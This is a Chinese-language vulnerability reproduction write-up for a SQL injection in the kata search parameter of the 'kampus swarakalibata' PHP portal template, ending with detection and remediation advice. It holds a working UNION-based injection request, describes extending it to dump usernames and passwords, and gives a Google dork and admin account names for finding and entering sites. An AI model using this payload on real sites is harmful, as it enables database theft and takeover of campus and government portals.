kampus swarakalibata 模板门户 berita 页面 kata 参数 SQL 注入漏洞复现
kampus swarakalibata 模板门户 berita 页面 kata 参数 SQL 注入漏洞复现
0x00 漏洞概述
kampus swarakalibata 是 phpmu.com 发布的一款 PHP 语言门户模板,公开技术资料记载该模板常被印度尼西亚的校园与地方政府门户网站采用,页面中带有站内搜索功能,搜索关键词通过 kata 参数提交。该漏洞源于 /berita 页面对 kata 参数的处理:服务端将用户提交的搜索词直接拼入 SQL 查询语句,未做任何过滤与参数化处理。攻击者以 POST 方式向 /berita 提交携带联合查询语句的 kata 参数,即可让注入的查询结果随页面内容一并回显,进而枚举数据库信息乃至拖取任意数据表。技术分析记录给出的评分为 8.0 分,属于高危级别的 SQL 注入问题。公开渠道未检索到对应的 CVE、CNVD 或 CNNVD 编号,也未检索到厂商发布的受影响版本通告;公开技术资料记载该问题于 2019 年 1 月由安全研究人员披露,与本次分析的检测请求在参数名与注入结构上完全一致。
0x01 影响版本
公开渠道无厂商公告与版本通告,无法给出确切的版本边界。技术分析资料记载的修复指引为更新至最新版本,对应 phpmu.com 的 swarakalibata v.3 three color tunggul responsive 模板发布页;凡早于该修复版本的部署实例,均应视为潜在受影响对象。判定目标是否属于该模板族可依据以下指纹特征之一:页面源码中包含 /page/detail/kata-sambutan 路径,或页面标题为 Pemerintah Kabupaten Pesisir Selatan;公开披露中使用的 Google Dork 亦为 inurl:/page/detail/kata-sambutan site:id,二者相互印证。
0x02 环境搭建
复现环境按验证型探测思路还原:准备一台 Apache + PHP + MySQL 的 LAMP 环境,示意地址为 192.0.2.10,从 phpmu.com 模板发布页获取 swarakalibata 模板源码并部署为站点根目录,按安装向导连接本地 MySQL 完成初始化。部署完成后访问站点首页,确认页面中存在 /page/detail/kata-sambutan 路径或目标标题特征,确认 /berita 页面可正常访问且带有关键词搜索表单,即可进入复现环节。若不便于本地部署,也可在授权测试范围内选取满足 0x01 节指纹特征的目标站点,将下文请求包中的 Host 替换为对应地址开展验证。
0x03 复现过程
完整的复现链条为:攻击者向 /berita 提交 POST 请求,kata 参数值以单引号闭合原有查询条件,随后接 and false union select 与 29 个占位列,其中第 4 列填入 md5(12) 作为标记;服务端将注入的联合查询并入原语句执行,页面渲染时把查询第 4 列的结果输出到响应中。验证请求包如下,来自技术分析资料,可直接用于判定目标是否存在该漏洞:
POST /berita HTTP/1.1
Host: 192.0.2.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://192.0.2.10/berita
Content-Type: application/x-www-form-urlencoded
Content-Length: 184
Connection: close
Upgrade-Insecure-Requests: 1
kata=%27+and+false+union+select+1%2C2%2C3%2Cmd5%2812%29%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29--+-&msp=1解码后的 kata 参数值为 ' and false union select 1,2,3,md5(12),5,6,...,29-- -。注入成功时,响应状态码为 200,响应体中出现固定哈希值:
c20ad4d76fe97759aa27a0c99bff6710该值即 md5("12") 的运算结果,出现即证明联合查询的第 4 列被原样回显,注入通道成立。29 列的占位数量是按目标查询的列数对齐得出,列数不匹配时联合查询会报错,因此探测其他实例时若失败可微调占位列数量。
确认回显位后,可参考公开技术资料记载的扩展载荷进一步枚举数据:将第 4 列替换为 concat() 拼接的十六进制标记与 version()、user()、databa se(),并内嵌 make_set() 子查询遍历 users 表的 username 与 password 列,即可在页面回显中获得数据库版本、当前连接用户、当前库名以及用户表凭据内容。公开披露同时记载该模板后台的常见登录账号名为 Administrator、Admin、Adminweb,取得用户表口令后可用于登录后台(此处为公开资料记载,具体权限以实际环境为准)。
0x04 修复建议
排查层面,建议依据 0x01 节指纹特征确认资产范围内 swarakalibata 模板的部署情况,重点核查 /berita 页面的公网暴露情况;回溯 Web 访问日志,检索 kata 参数中包含单引号、union select 或 -- 注释序列的 POST 请求,发现此类记录时应假定数据库已可能被读取,立即核查数据完整性并轮换数据库与应用口令。
修复层面,建议按以下顺序处置:
1. 在网页代码中对用户输入的数据进行严格过滤,站内搜索等数据库操作全部改为参数化查询或预编译语句,杜绝查询语句与用户输入的直接拼接;
2. 部署 Web 应用防火墙,对数据库操作进行监控,拦截携带联合查询特征的请求;
3. 更新至厂商最新版本,升级前备份配置与数据;
4. 收敛数据库账号权限至最小化,避免应用账号拥有读写文件、跨库查询等高权限能力,并定期审计数据库日志中的异常查询。
0x05 参考链接
1. Template Web Portal Kampus Swarakalibata SQL-Injection Vulnerability,CXSecurity 收录(WLB-2019010037,2019-01-05,含完整注入 payload、判别方法与后台账号名):https://cxsecurity.com/issue/WLB-2019010037
2. Swarakalibata v.3 Three Color Tunggul Responsive Template 模板发布页(phpmu.com,修复升级指引所指版本来源):https://phpmu.com/swarakalibata-v-3-three-color-tunggul-responsive-template/

Wayyt 6小时前
最新评论